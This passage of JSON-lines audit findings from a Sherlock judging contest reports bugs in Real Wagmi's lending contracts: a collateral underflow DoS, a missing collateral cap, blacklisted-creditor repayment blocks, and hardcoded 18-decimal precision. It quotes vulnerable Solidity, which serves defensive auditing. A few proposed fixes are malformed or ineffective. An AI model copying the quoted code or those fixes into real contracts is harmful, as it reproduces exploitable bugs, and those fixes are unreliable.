borrowingCollateral = (cache.borrowedAmount * cache.holdTokenBalance) / totalHoldToken;\n} else {\n borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance;\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//008-H/140.md"}} +{"title":"Incorrect calculations of borrowingCollateral leads to DoS for positions in the current tick range due to underflow","severity":"major","body":"Dandy Taupe Barracuda\n\nhigh\n\n# Incorrect calculations of borrowingCollateral leads to DoS for positions in the current tick range due to underflow\n## Summary\nThe `borrowingCollateral` is the amount of collateral a borrower needs to pay for his leverage. It should be calculated as the difference of holdTokenBalance (the amount borrowed + holdTokens received after saleTokens are swapped) and the amount borrowed and checked against user-specified maxCollateral amount which is the maximum the borrower wishes to pay. However, in the current implementation the `borrowingCollateral` calculation is most likely to underflow.\n## Vulnerability Detail\nThis calculation is most likely to underflow\n```solidity\nuint256 borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance;\n```\nThe `cache.borrowedAmount` is the calculated amount of holdTokens based on the liquidity of a position. `cache.holdTokenBalance` is the balance of holdTokens queried after liquidity extraction and tokens transferred to the `LiquidityBorrowingManager`. If any amounts of the saleToken are transferred as well, these are swapped to holdTokens and added to `cache.holdTokenBalance`. \n\nSo in case when liquidity of a position is in the current tick range, both tokens would be transferred to the contract and saleToken would be swapped for holdToken and then added to `cache.holdTokenBalance`. This would make `cache.holdTokenBalance > cache.borrowedAmount` since `cache.holdTokenBalance == cache.borrowedAmount + amount of sale token swapped` and would make the tx revert due to underflow.\n## Impact\nMany positions would be unavailable to borrowers. For non-volatile positions like that which provide liquidity to stablecoin pools the DoS could last for very long period. For volatile positions that provide liquidity in a wide range this could also be for more than 1 year.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L492-L503\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L470\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L848-L896\n## Tool used\n\nManual Review\n\n## Recommendation\nThe borrowedAmount should be subtracted from holdTokenBalance\n```solidity\nuint256 borrowingCollateral = cache.holdTokenBalance - cache.borrowedAmount;\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//008-H/086-best.md"}} +{"title":"Incorrect implementation of checking whether borrowing collateral exceeds the maximum allowed collateral limit","severity":"major","body":"Colossal Tan Hyena\n\nhigh\n\n# Incorrect implementation of checking whether borrowing collateral exceeds the maximum allowed collateral limit\n## Summary\nThere is a misalignment between the cache.borrowedAmount and cache.holdTokenBalance variables. The former is derived from a pool's single-sided position, while the latter represents the quantity of hold tokens obtained after converting all liquidity. Consequently, the subtraction uint256 borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance may result in unexpected behavior, as it assumes these two variables can be directly compared, which may not be the case. \n## Vulnerability Detail\nThe function `LiquidityBorrowingManager.borrow()` handles the borrowing process by precalculating various details, initializing borrowing information, updating related data structures, checking collateral limits, transferring tokens. Inside the function, it checks if borrowing collateral exceeds the maximum allowed collateral.\n```solidity\n uint256 borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance;\n (borrowingCollateral > params.maxCollateral).revertError(\n ErrLib.ErrorCode.TOO_BIG_COLLATERAL\n );\n\n```\nThe `cache.borrowedAmount` is calculated from a pool's single side position.\n```solidity\n function _getSingleSideRoundUpBorrowedAmount(\n bool zeroForSaleToken,\n int24 tickLower,\n int24 tickUpper,\n uint128 liquidity\n ) private pure returns (uint256 borrowedAmount) {\n borrowedAmount = (\n zeroForSaleToken\n ? LiquidityAmounts.getAmount1ForLiquidity(\n TickMath.getSqrtRatioAtTick(tickLower),\n TickMath.getSqrtRatioAtTick(tickUpper),\n liquidity\n )\n : LiquidityAmounts.getAmount0ForLiquidity(\n TickMath.getSqrtRatioAtTick(tickLower),\n TickMath.getSqrtRatioAtTick(tickUpper),\n liquidity\n )\n );\n if (borrowedAmount > Constants.MINIMUM_BORROWED_AMOUNT) {\n ++borrowedAmount;\n } else {\n revert TooLittleBorrowedLiquidity(liquidity);\n }\n }\n\n\n```\nThe cache.holdTokenBalance is calculated as follows:\nThe protocol first calls the `_decreaseLiquidity()` function to reduce liquidity, which results in obtaining a certain amount of sale tokens and hold tokens.\n```solidity\n\nfunction _decreaseLiquidity(uint256 tokenId, uint128 liquidity) private {\n // Call the decreaseLiquidity function of underlyingPositionManager contract\n // with DecreaseLiquidityParams struct as argument\n (uint256 amount0, uint256 amount1) = underlyingPositionManager.decreaseLiquidity(\n INonfungiblePositionManager.DecreaseLiquidityParams({\n tokenId: tokenId,\n liquidity: liquidity,\n amount0Min: 0,\n amount1Min: 0,\n deadline: block.timestamp\n })\n );\n // Check if both amount0 and amount1 are zero after decreasing liquidity\n // If true, revert with InvalidBorrowedLiquidity exception\n if (amount0 == 0 && amount1 == 0) {\n revert InvalidBorrowedLiquidity(tokenId);\n }\n // Call the collect function of underlyingPositionManager contract\n // with CollectParams struct as argument\n (amount0, amount1) = underlyingPositionManager.collect(\n INonfungiblePositionManager.CollectParams({\n tokenId: tokenId,\n recipient: address(this),\n amount0Max: uint128(amount0),\n amount1Max: uint128(amount1)\n })\n );\n }\n\n```\n\nThen, the sale tokens acquired in the previous step are exchanged for hold tokens. The result of this exchange, combined with the existing hold tokens that the borrower already had, constitutes the cache.holdTokenBalance.\n\n```solidity\n if (saleTokenBalance > 0) {\n if (params.externalSwap.swapTarget != address(0)) {\n // Call the external swap function and update the hold token balance in the cache\n cache.holdTokenBalance += _patchAmountsAndCallSwap(\n params.saleToken,\n params.holdToken,\n params.externalSwap,\n saleTokenBalance,\n 0\n );\n } else {\n // Call the internal v3SwapExactInput function and update the hold token balance in the cache\n cache.holdTokenBalance += _v3SwapExactInput(\n v3SwapExactInputParams({\n fee: params.internalSwapPoolfee,\n tokenIn: params.saleToken,\n tokenOut: params.holdToken,\n amountIn: saleTokenBalance,\n amountOutMinimum: 0\n })\n );\n }\n }\n\n\n```\n\nThe cache.borrowedAmount is calculated based on a pool's single-sided position, whereas cache.holdTokenBalance represents the quantity of hold tokens obtained after converting all liquidity. As a result, the subtraction `uint256 borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance` could lead to an unexpected failure.\n\n## Impact\nThe subtraction `uint256 borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance could` lead to an unexpected failure.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L492\n## Tool used\n\nManual Review\n\n## Recommendation\nChange the code to `uint256 borrowingCollateral = - cache.holdTokenBalance - cache.borrowedAmount`","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//008-H/072.md"}} +{"title":"Max collateral check is not done when increasing collateral balance","severity":"major","body":"Restless Ocean Chipmunk\n\nmedium\n\n# Max collateral check is not done when increasing collateral balance\n## Summary\n\nThere is no max collateral check when increasing the collateral balance using `increaseCollateralBalance()`\n\n## Vulnerability Detail\n\nWhen a user calls `borrow()`, there is a check for `borrowingCollateral`. The check makes sure that `borrowingCollateral` is not greater than `maxCollateral`\n\n```solidity\nFile: LiquidityBorrowingManager.sol\n492: uint256 borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance;\n493: (borrowingCollateral > params.maxCollateral).revertError(\n494: ErrLib.ErrorCode.TOO_BIG_COLLATERAL\n495: );\n``` \n\n`maxCollateral` is defined as the maximum amount of collateral that can be provided for the loan.\n\n```solidity\nFile: LiquidityBorrowingManager.sol\n35: /// @notice The maximum amount of collateral that can be provided for the loan\n36: uint256 maxCollateral;\n```\n\nHowever, when `increaseCollateralBalance` is called, the `maxCollateral` variable is not checked. \n\n```solidity\nFile: LiquidityBorrowingManager.sol\n371: function increaseCollateralBalance(bytes32 borrowingKey, uint256 collateralAmt) external {\n372: BorrowingInfo storage borrowing = borrowingsInfo[borrowingKey];\n373: // Ensure that the borrowed position exists and the borrower is the message sender\n374: (borrowing.borrowedAmount == 0 || borrowing.borrower != address(msg.sender)).revertError(\n375: ErrLib.ErrorCode.INVALID_BORROWING_KEY\n376: );\n377: // Increase the daily rate collateral balance by the specified collateral amount\n //@audit -- No max collateral balance check\n378: borrowing.dailyRateCollateralBalance +=\n379: collateralAmt *\n380: Constants.COLLATERAL_BALANCE_PRECISION;\n381: _pay(borrowing.holdToken, msg.sender, VAULT_ADDRESS, collateralAmt);\n382: emit IncreaseCollateralBalance(msg.sender, borrowingKey, collateralAmt);\n383: }\n```\n\n## Impact\n\nWithout checking `maxCollateral`, the leverage position may be unnecessarily overcollaterized.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L371-L383\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRecommend checking the max collateral amount when calling increase collateral balance","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//008-H/037.md"}} +{"title":"Malicious lender can use blacklisted address and harm borrower","severity":"medium","body":"Blunt Pearl Haddock\n\nhigh\n\n# Malicious lender can use blacklisted address and harm borrower\n## Summary\n\nIf during the duration of a loan, the borrower got blacklisted by collateral asset contract, like USDC, there is no way to retrieve the collateral.\n## Vulnerability Detail\n\nProtocol specifically mentions :\n\n> Q: Do you expect to use any of the following tokens with non-standard behaviour with the smart contracts?\n> - Whatever uniswap v3 supports for their pools can interact with our contracts\n\nSome tokens like USDC have a contract level admin controlled address blocklist. If an address is blocked, then transfers to and from that address are forbidden.\n\nMalicious lender can use `repay()` function for this purpose. The lender can add the USDC blacklist to prevent the borrower from repaying the loan, and then withdraw the borrower's collateral.\n## Impact\n\nA malicious or compromised token lender can trap funds in a contract by adding the contract address to the blocklist.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532-L674\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTry to implement a try-catch solution where you skip certain funds whenever they cause the transfer to the blacklisted token address to revert.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//007-M/193.md"}} +{"title":"If the LPer becomes blacklisted for particular holdTokens like USDC,USDT, then liquidation of related position will not be possible","severity":"medium","body":"Petite Canvas Sparrow\n\nmedium\n\n# If the LPer becomes blacklisted for particular holdTokens like USDC,USDT, then liquidation of related position will not be possible\n## Summary\nThe liquidation/repayment process includes function [_restoreLiquidity](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L223), which in the end [returns ](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L315) proper amount of `holdToken` to the liquidity owner (creditor). It may happen, that a liquidity provider becomes blacklisted by some popular tokens traded on Uniswapv3 like `USDT` or `USDC`. If that happens, it will be impossible to repay or liquidate position that relies on that user's liquidity.\n\n\n## Vulnerability Detail\nAssume at some point a LPer is blacklisted by USDC or USDT token which means his address cannot transfer or receive these tokens anymore. Since the `_restoreLiquidity` works as a loop that iterates over liquidities, a single revert will cause the loop to fail too, and additional debt will be incured until the owner of the LP does not transfer his NFT to a non-blacklisted address to be able to receive the `holdToken` upon repayments - which may take time until he realizes (if he realizes). This is because all repayments happen in a loop within [_restoreLiquidity](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L230) which at the end transfers the `holdToken` to the LP owner. if `holdToken` happens to be blacklistable (as per the description of the contest protocol is to work with all ERC20 except rebase/fee-on-transfer), like `USDT` or `USDC`, then the transfer will revert, and so will whole loop, making `repay()` impossible. \n\n## Impact\nBorrowers may suffers increased debt, and even a bad debt may incur with time, until the blacklisted LPer is not reachable for transfers again - which relies only on his reaction in this case. In edge scenario, he may not react at all and paralyze the repayments/liquidations for those tokens.\n\n## Code Snippet\n[This](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L306) and [this](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L315) line.\n```solidity\n address creditor = underlyingPositionManager.ownerOf(loan.tokenId);\n [...]\n Vault(VAULT_ADDRESS).transferToken(cache.holdToken, creditor, liquidityOwnerReward);\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider using either a separate contract (escrow-like) to distribute funds, so the liquidation does not rely on the liquidity owner to successfully receive their funds. Such contract, or routine, may perform distribution of funds to owner in a separate function, for example in a failsafe loop, using `pendingRecipients` as calldata to feed into a transfer loop, which will return just who succeeded or not and allowing to repeat operation if needed, while the funds to be sent will be accounted elsewhere but over all the repayment could be market as completed instead of being stopped.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//007-M/128.md"}} +{"title":"Blacklisted creditor can block all repayment besides emergency closure","severity":"medium","body":"Ancient Malachite Jay\n\nmedium\n\n# Blacklisted creditor can block all repayment besides emergency closure\n## Summary\n\nAfter liquidity is restored to the LP, accumulated fees are sent directly from the vault to the creditor. Some tokens, such as USDC and USDT, have blacklists the prevent users from sending or receiving tokens. If the creditor is blacklisted for the hold token then the fee transfer will always revert. This forces the borrower to defualt. LPs can recover their funds but only after the user has defaulted and they request emergency closure.\n\n## Vulnerability Detail\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L306-L315\n\n address creditor = underlyingPositionManager.ownerOf(loan.tokenId);\n // Increase liquidity and transfer liquidity owner reward\n _increaseLiquidity(cache.saleToken, cache.holdToken, loan, amount0, amount1);\n uint256 liquidityOwnerReward = FullMath.mulDiv(\n params.totalfeesOwed,\n cache.holdTokenDebt,\n params.totalBorrowedAmount\n ) / Constants.COLLATERAL_BALANCE_PRECISION;\n\n Vault(VAULT_ADDRESS).transferToken(cache.holdToken, creditor, liquidityOwnerReward);\n\nThe following code is executed for each loan when attempting to repay. Here we see that each creditor is directly transferred their tokens from the vault. If the creditor is blacklisted for holdToken, then the transfer will revert. This will cause all repayments to revert, preventing the user from ever repaying their loan and forcing them to default. \n\n## Impact\n\nBorrowers with blacklisted creditors are forced to default\n\n## Code Snippet\n\n[LiquidityManager.sol#L223-L321](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L223-L321)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCreate an escrow to hold funds in the event that the creditor cannot receive their funds. Implement a try-catch block around the transfer to the creditor. If it fails then send the funds instead to an escrow account, allowing the creditor to claim their tokens later and for the transaction to complete.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//007-M/083-best.md"}} +{"title":"The borrower may be unable to repay a loan","severity":"medium","body":"Colossal Tan Hyena\n\nmedium\n\n# The borrower may be unable to repay a loan\n## Summary\nDuring the repay process, the protocol will transfer hold token to creditor. However, if the USDC contract blacklists the creditor, the liquidation transaction will be revert. As a result, the borrower will unable to be repay if they have been blacklisted by the USDC token contract.\n\n\n## Vulnerability Detail\nIn the function `_restoreLiquidity()`, the protocol will transfers cache.holdToken to the creditor. If cache.holdToken is USDT or USDC and the creditor has been blacklisted, the transfer will fail, preventing the borrower from repaying.\n```solidity\n _increaseLiquidity(cache.saleToken, cache.holdToken, loan, amount0, amount1);\n uint256 liquidityOwnerReward = FullMath.mulDiv(\n params.totalfeesOwed,\n cache.holdTokenDebt,\n params.totalBorrowedAmount\n ) / Constants.COLLATERAL_BALANCE_PRECISION;\n\n Vault(VAULT_ADDRESS).transferToken(cache.holdToken, creditor, liquidityOwnerReward);\n\n unchecked {\n ++i;\n }\n\n\n```\n\n## Impact\nThis will error where transferring USDC tokens to blacklisted users can cause the transaction to be reverted, disrupting the repay flow. The repay process might DoS \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L669-L670\n## Tool used\n\nManual Review\n\n## Recommendation\nCheck the token balance to be greater than zero before transferring profit to the user","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//007-M/069.md"}} +{"title":"`COLLATERAL_BALANCE_PRECISION` is used for each calculation of each token type without actually checking how many decimal points the token has","severity":"major","body":"Blunt Pearl Haddock\n\nhigh\n\n# `COLLATERAL_BALANCE_PRECISION` is used for each calculation of each token type without actually checking how many decimal points the token has\n## Summary\n\n`COLLATERAL_BALANCE_PRECISION` is used for each calculation of each token type without actually checking how many decimal points the token has.\n\n## Vulnerability Detail\n\nWagmi used `COLLATERAL_BALANCE_PRECISION` for collateral scaling precision.\n\n```solidity\nuint256 public constant COLLATERAL_BALANCE_PRECISION = 1e18;\n```\n\nAs you can see from the code the scaling is always `1e18` i.e. for 18 decimal tokens.\n\nBut `COLLATERAL_BALANCE_PRECISION` is used for all possible calculations in the protocol without checking how many decimals the token has. Some tokens, for example, have 6 decimals. This leads to totally wrong calculations everywhere in the protocol.\nI'll give just a few examples, but the constant is used in many more places.\n\nFor example, `collectProtocol()` collects protocol fees for multiple tokens but the collateral scaling precision is always `1e18`:\n```solidity\n    function collectProtocol(address recipient, address[] calldata tokens) external onlyOwner {  \n        uint256[] memory amounts = new uint256[](tokens.length);\n        for (uint256 i; i < tokens.length; ) {\n            address token = tokens[i];\n            uint256 amount = platformsFeesInfo[token] / Constants.COLLATERAL_BALANCE_PRECISION; \n            if (amount > 0) {\n                platformsFeesInfo[token] = 0;\n                amounts[i] = amount;\n                Vault(VAULT_ADDRESS).transferToken(token, recipient, amount);  \n            }\n            unchecked {\n                ++i;\n            }\n        }\n\n        emit CollectProtocol(recipient, tokens, amounts);\n    }\n```\n\n`checkDailyRateCollateral()` check the daily rate collateral for a specific borrowing. Collateral scaling precision again is `1e18`.\n```solidity\n    function checkDailyRateCollateral(\n        bytes32 borrowingKey\n    ) external view returns (int256 balance, uint256 estimatedLifeTime) {\n        (, balance, estimatedLifeTime) = _getDebtInfo(borrowingKey);\n        balance /= int256(Constants.COLLATERAL_BALANCE_PRECISION);\n    }\n```\n\nAnd everywhere else in the protocol, instead of using hardcoded `1e18`, the token decimal should be taken dynamically.\n## Impact\n\nIncorrect calculations will lead to large financial losses and also make the protocol susceptible to attacks.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/Constants.sol#L15\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L188\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L237\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L319\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L351\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L359\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L380\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L422\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L449\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L490\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L567\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L572\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L598\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L939\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L1017\n## Tool used\n\nManual Review\n\n## Recommendation\n\nInstead of using a fixed `COLLATERAL_BALANCE_PRECISION`, calculate precision dynamically based on the token's decimals.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//006-H/176-best.md"}} +{"title":"Assuming all tokens are 18 decimals","severity":"major","body":"Steep Boysenberry Grasshopper\n\nhigh\n\n# Assuming all tokens are 18 decimals\n## Summary\n\nThe contract assumes that all tokens that will be used will be 18 decimals however, it will use all tokens that are supported by uni swap v3 which may not be 18 decimals.\n\n## Vulnerability Detail\n\nSee summary\n\n## Impact\n\nComplete wrong multiplication and division.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/Constants.sol#L15C13-L15C20\n\n```solidity\nfunction collectProtocol(address recipient, address[] calldata tokens) external onlyOwner {\n uint256[] memory amounts = new uint256[](tokens.length);\n for (uint256 i; i < tokens.length; ) {\n address token = tokens[i];\n uint256 amount = platformsFeesInfo[token] / Constants.COLLATERAL_BALANCE_PRECISION;\n if (amount > 0) {\n platformsFeesInfo[token] = 0;\n amounts[i] = amount;\n Vault(VAULT_ADDRESS).transferToken(token, recipient, amount);\n }\n unchecked {\n ++i;\n }\n }\n\n emit CollectProtocol(recipient, tokens, amounts);\n }\n\n```\n```solidity\nfunction checkDailyRateCollateral(\n bytes32 borrowingKey\n ) external view returns (int256 balance, uint256 estimatedLifeTime) {\n (, balance, estimatedLifeTime) = _getDebtInfo(borrowingKey);\n balance /= int256(Constants.COLLATERAL_BALANCE_PRECISION);\n }\n```\n\n```solidity\nuint256 public constant COLLATERAL_BALANCE_PRECISION = 1e18;\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nuse other way to get the decimals","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//006-H/174.md"}} +{"title":"The protocol isn't going to work with difference decimals other than 18","severity":"major","body":"Sticky Tartan Boa\n\nmedium\n\n# The protocol isn't going to work with difference decimals other than 18\n## Summary\nThe protocol isn't going to work with difference decimals other than 18\n\n## Vulnerability Detail\nOn borrowing the dailyRateCollateralBalance is sum with the COLLATERAL_BALANCE_PRECISION that is 1e18, if you want to borrow 2 decimals token, this mean that dailyRateCollateralBalance is 10^16 greater than the borrowed amount, this means, that if you want to pay with gemini USD you need to give 10^16 times more than the actual amount,\n\nOn the other hand, if you are giving token that has 24 decimals like YAM-V2, the user will pay 10^6 times lower than the actual amount\n\n## Impact\nLoss of funds\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L488-L490\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L185-L193\n\n## Tool used\nManual Review\n\n## Recommendation\ndont use COLLATERAL_BALANCE_PRECISION, but use the token.decimal()","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//006-H/148.md"}} +{"title":"Exessive Round up of Collateral","severity":"major","body":"Early Blush Yak\n\nhigh\n\n# Exessive Round up of Collateral\n## Summary\n\n`COLLATERAL_BALANCE_PRECISION`, which is `1e18` can cause signifcant rounding error when calculating `collateralAmt`\n\n## Vulnerability Detail\n\nCOLLATERAL_BALANCE_PRECISION is 18 decimals. The rounding up is excessive as everySecond and lifetimeInSeconds do not have significant scaling\n\n```solidity\n\ncollateralAmt = FullMath.mulDivRoundingUp(\n\neverySecond,\n\nlifetimeInSeconds,\n\nConstants.COLLATERAL_BALANCE_PRECISION\n\n);\n```\n\n## Impact\n\nCalculation is incorrect when decimals is `18`\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L356-L359\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nMultiply by a scaling factor before dividing by a `COLLATERAL_BALANCE_PRECISION ` and scale down afterwards","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//006-H/110.md"}} +{"title":"Hardcoded precision is not suitable for all tokens, resulting in unfavorable calculations both for the users and the protocol","severity":"major","body":"Petite Canvas Sparrow\n\nhigh\n\n# Hardcoded precision is not suitable for all tokens, resulting in unfavorable calculations both for the users and the protocol\n## Summary\nAs per the contest specification, protocol is planning to work with any ERC20 tokens (excluding fee-on-transfer or rebasing which is not the case here). Even limiting the tokens to ones that are commonly traded on UniswapV3, there are some tokens that have non-18 decimals like `USDC`, `USDT` (6), or `WTBC` (8) - and they are commonly used ones (even protocol's unit tests contain `WBTC` symbol as an example). Multiple funds processing operations rely on `COLLATERAL_BALANCE_PRECISION` equal to `1e18` which have unwanted effects on tokens with less decimals that still can be used with the protocol (see details for more information).\n\n## Vulnerability Detail\nNormally, using one unit of token with 18 decimals and later dividing it by 1e18 gives one wei. But if the token has less decimals, dividing one unit of it by `1e18` returns zero, which may have unspecified effect on the protocol. Analogically, multiplying some fraction of value by `1e18` will cause to return a signifinactly larger value in case of low-decimal tokens. The `Code snippet` section contains detailed explanation of exemplary occurences.\n\n## Impact\nUsers using low-decimal collateral tokens such as `WBTC`, `USDT`, `USDC` may suffer extremely high rates due to precision being not scaled to proper decimals which may cause their collateral to burn instantly due to unreal interest rates. For the protocol, the fees in those tokens, when calculated by dividing by `1e18`, will always be zero, which means protocol will not get fees off them. In short, for common low-decimal tokens the protocol is not usable.\n\n\n## Code Snippet\nExemplary occurences and their effect if low-decimal tokens are used instead:\n\n1. Handling fees. [collectProtocol](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L184) \n\n```solidity\nuint256 amount = platformsFeesInfo[token] / Constants.COLLATERAL_BALANCE_PRECISION;\n```\nFor example here, `1 WBTC = 1_00_000_000 wbtc wei`. If there is `1 WBTC` balance, this will return zero. only if there is at least `1e18 wbtc wei`, that is, `1e10 WBTC`, which is unlikely to happen as its too large value, this will return `1`. Similar situation will happen with `USDC` or `USDC`.\n\n2. Collateral rate - for example [checkDailyRateCollateral](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L233) and function [_getDebtInfo](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L987) that is called inside.\n\n```solidity\n if (collateralBalance > 0) {\n uint256 everySecond = (\n FullMath.mulDivRoundingUp(\n borrowing.borrowedAmount,\n currentDailyRate * Constants.COLLATERAL_BALANCE_PRECISION,\n 1 days * Constants.BP\n )\n );\n```\nHere, the `currentDailyRate` can be at least `MIN_DAILY_RATE = 5` as defined by `Constants.sol` and it is enforced in [updateHoldTokenDailyRate](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L211), so even owner cannot set otherwise. \n\nConsider this calculation for borrowed `1000USDT` (6 decimals):\n\n```text\nborrowing.borrowedAmount = 1000\ncurrentDailyRate = 5\nConstants.COLLATERAL_BALANCE_PRECISION = 1e18 (or 1 followed by 18 zeros)\n1 days in Solidity is equivalent to the number of seconds in a day, which is 86400.\nConstants.BP = 10000\n```\nresult in `ceil((borrowing.borrowedAmount * currentDailyRate * Constants.COLLATERAL_BALANCE_PRECISION) / (1 days * Constants.BP))` = `5_000_787_037_037_037_038` which in 18 decimals is equal 5 (lossing the precision). But in case of USDC, it is an unreal value of 5_000_787_037_037 USDC rate per second (the latter value divided by 1e6).\nSo any place where collateral rate is calculated with multiplications, for 8 decimals tokens, it will be 1e10 times too high.\n\n\n## Tool used\n\nManual 